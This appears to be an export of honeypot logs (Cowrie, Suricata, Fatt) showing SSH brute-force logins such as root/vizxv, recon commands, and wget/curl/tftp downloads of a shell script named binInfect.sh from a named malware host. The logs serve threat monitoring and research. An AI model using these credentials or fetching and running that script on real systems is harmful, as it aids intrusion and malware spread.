19905	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:59.141994+03	2021-09-20 14:15:01.699614+03	{"_id": "lgXdAnwBvYTbRNuEwvUE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:59.141994Z", "@timestamp": "2021-09-20T11:00:59.141Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19906	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:01:10.055885+03	2021-09-20 14:15:01.700613+03	{"_id": "3AXdAnwBvYTbRNuE7fUE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.login.success", "message": "login attempt [root/vizxv] succeeded", "session": "b4fdd90a76ab", "@version": "1", "password": "vizxv", "username": "root", "timestamp": "2021-09-20T11:01:10.055885Z", "@timestamp": "2021-09-20T11:01:10.055Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
19907	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:01:13.454519+03	2021-09-20 14:15:01.701613+03	{"_id": "9gXdAnwBvYTbRNuE9_Xk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 1710, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 600, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1107003828726701, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 57786, "timestamp": "2021-09-20T11:01:13.454519Z", "@timestamp": "2021-09-20T11:01:13.454Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19908	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:01:13.45062+03	2021-09-20 14:15:01.702614+03	{"_id": "9AXdAnwBvYTbRNuE9_Xk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/binInfect.sh", "length": 1987, "status": 200, "hostname": "betaalverzoek.ir", "protocol": "HTTP/1.0", "http_method": "GET", "http_user_agent": "Wget/1.11.4", "http_content_type": "application/x-sh"}, "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "TCP", "src_ip": "109.104.151.11", "dest_ip": "192.168.20.116", "flow_id": 1811155126933046, "@version": "1", "fileinfo": {"md5": "05b215cc1fce4e08c4a5c5693e3bc2ec", "gaps": false, "size": 1987, "magic": "Bourne-Again shell script, ASCII text executable", "state": "CLOSED", "tx_id": 0, "stored": false, "filename": "/binInfect.sh"}, "in_iface": "enp5s0", "src_port": 80, "app_proto": "http", "dest_port": 50400, "timestamp": "2021-09-20T11:01:13.450620Z", "@timestamp": "2021-09-20T11:01:13.450Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	\N
19909	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:13.453549+03	2021-09-20 14:15:01.704612+03	{"_id": "9QXdAnwBvYTbRNuE9_Xk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 1710, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1107003828726701, "@version": "1", "in_iface": "enp5s0", "src_port": 57786, "dest_port": 53, "timestamp": "2021-09-20T11:01:13.453549Z", "@timestamp": "2021-09-20T11:01:13.453Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19910	223.241.247.214	109.199.241.180	Fatt	2021-09-20 14:01:12.654529+03	2021-09-20 14:15:01.705614+03	{"_id": "9wXdAnwBvYTbRNuE-PWE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 60890, "dest_port": 22, "timestamp": "2021-09-20T11:01:12.654529", "@timestamp": "2021-09-20T11:01:12.654Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
19911	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:01:13.268509+03	2021-09-20 14:15:01.707613+03	{"_id": "-AXdAnwBvYTbRNuE-PWE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "@version": "1", "protocol": "http", "src_port": 50400, "dest_port": 80, "fatt_http": {"userAgent": "Wget/1.11.4", "requestURI": "/binInfect.sh", "requestMethod": "GET", "requestFullURI": "http://betaalverzoek.ir/binInfect.sh", "requestVersion": "HTTP/1.0", "clientHeaderHash": "8911d3c40a2cbf036e9c1617f6fea141", "clientHeaderOrder": "host,user_agent"}, "timestamp": "2021-09-20T11:01:13.268509", "@timestamp": "2021-09-20T11:01:13.268Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	http	\N	\N	\N	\N
19912	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:01:13.633107+03	2021-09-20 14:15:01.708614+03	{"_id": "-QXdAnwBvYTbRNuE-PWE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "@version": "1", "protocol": "http", "src_port": 50402, "dest_port": 80, "fatt_http": {"userAgent": "curl/7.38.0", "requestURI": "/binInfect.sh", "requestMethod": "GET", "requestFullURI": "http://betaalverzoek.ir/binInfect.sh", "requestVersion": "HTTP/1.0", "clientHeaderHash": "8911d3c40a2cbf036e9c1617f6fea141", "clientHeaderOrder": "host,user_agent"}, "timestamp": "2021-09-20T11:01:13.633107", "@timestamp": "2021-09-20T11:01:13.633Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	http	\N	\N	\N	\N
19913	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:01:13.814111+03	2021-09-20 14:15:01.710612+03	{"_id": "BQXdAnwBvYTbRNuE-fYS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"url": "http://betaalverzoek.ir/binInfect.sh", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "bd4af690f128a51836b902805c3e86396a1c2540190c222b1e0ae4091c59150f", "src_ip": "109.104.151.106", "eventid": "cowrie.session.file_download", "message": "Downloaded URL (http://betaalverzoek.ir/binInfect.sh) with SHA-256 bd4af690f128a51836b902805c3e86396a1c2540190c222b1e0ae4091c59150f to dl/bd4af690f128a51836b902805c3e86396a1c2540190c222b1e0ae4091c59150f", "outfile": "dl/bd4af690f128a51836b902805c3e86396a1c2540190c222b1e0ae4091c59150f", "session": "b4fdd90a76ab", "@version": "1", "destfile": "dl/20210920110113_b4fdd90a76ab_0_http___betaalverzoek_ir_binInfect_sh", "duplicate": true, "timestamp": "2021-09-20T11:01:13.814111Z", "@timestamp": "2021-09-20T11:01:13.814Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
19914	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:13.818254+03	2021-09-20 14:15:01.711613+03	{"_id": "EAXdAnwBvYTbRNuE-_bP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4300, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2234626017426510, "@version": "1", "in_iface": "enp5s0", "src_port": 51190, "dest_port": 53, "timestamp": "2021-09-20T11:01:13.818254Z", "@timestamp": "2021-09-20T11:01:13.818Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19915	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:13.821562+03	2021-09-20 14:15:01.712613+03	{"_id": "EQXdAnwBvYTbRNuE-_bP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 1066987618404666, "@version": "1", "in_iface": "enp5s0", "src_port": 38038, "dest_port": 69, "timestamp": "2021-09-20T11:01:13.821562Z", "@timestamp": "2021-09-20T11:01:13.821Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
19922	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:12.247895+03	2021-09-20 14:15:01.721613+03	{"_id": "4wXdAnwBvYTbRNuE8_X9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 58412, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2177432085383255, "@version": "1", "in_iface": "enp5s0", "src_port": 40498, "dest_port": 53, "timestamp": "2021-09-20T11:01:12.247895Z", "@timestamp": "2021-09-20T11:01:12.247Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19916	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:01:13.821414+03	2021-09-20 14:15:01.713612+03	{"_id": "EwXdAnwBvYTbRNuE-_bP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 33432, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 600, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2081783163749105, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 37647, "timestamp": "2021-09-20T11:01:13.821414Z", "@timestamp": "2021-09-20T11:01:13.821Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19917	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:10.814718+03	2021-09-20 14:15:01.715612+03	{"_id": "2wXdAnwBvYTbRNuE7fUE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:10.814718Z", "@timestamp": "2021-09-20T11:01:10.814Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19918	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:10.814136+03	2021-09-20 14:15:01.716612+03	{"_id": "3gXdAnwBvYTbRNuE7fUE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:10.814136Z", "@timestamp": "2021-09-20T11:01:10.814Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19919	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:11.38028+03	2021-09-20 14:15:01.717613+03	{"_id": "4AXdAnwBvYTbRNuE8PXt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "119.29.153.168", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.566251277923584, "duplicate": true, "timestamp": "2021-09-20T11:01:11.380280Z", "@timestamp": "2021-09-20T11:01:11.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19920	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:11.784172+03	2021-09-20 14:15:01.718613+03	{"_id": "4QXdAnwBvYTbRNuE8PXt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:11.784172Z", "@timestamp": "2021-09-20T11:01:11.784Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19921	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:11.783613+03	2021-09-20 14:15:01.720614+03	{"_id": "4gXdAnwBvYTbRNuE8PXv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:11.783613Z", "@timestamp": "2021-09-20T11:01:11.783Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19923	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:01:12.377958+03	2021-09-20 14:15:01.722614+03	{"_id": "5gXdAnwBvYTbRNuE9PXV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 223.241.247.214:60890 (192.168.176.2:22) [session: c7d014dbd806]", "session": "c7d014dbd806", "@version": "1", "protocol": "ssh", "src_port": 60890, "dest_port": 22, "timestamp": "2021-09-20T11:01:12.377958Z", "@timestamp": "2021-09-20T11:01:12.377Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
19924	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:01:12.380958+03	2021-09-20 14:15:01.723615+03	{"_id": "5wXdAnwBvYTbRNuE9PXV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c7d014dbd806", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:01:12.380958Z", "@timestamp": "2021-09-20T11:01:12.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
19925	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:12.070768+03	2021-09-20 14:15:01.725646+03	{"_id": "7wXdAnwBvYTbRNuE9fUp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "119.29.153.168", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.28723788261413574, "duplicate": true, "timestamp": "2021-09-20T11:01:12.070768Z", "@timestamp": "2021-09-20T11:01:12.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19926	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:12.075278+03	2021-09-20 14:15:01.726643+03	{"_id": "8AXdAnwBvYTbRNuE9fUp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 29 seconds", "session": "341f760f2101", "@version": "1", "duration": 29.717257738113403, "timestamp": "2021-09-20T11:01:12.075278Z", "@timestamp": "2021-09-20T11:01:12.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
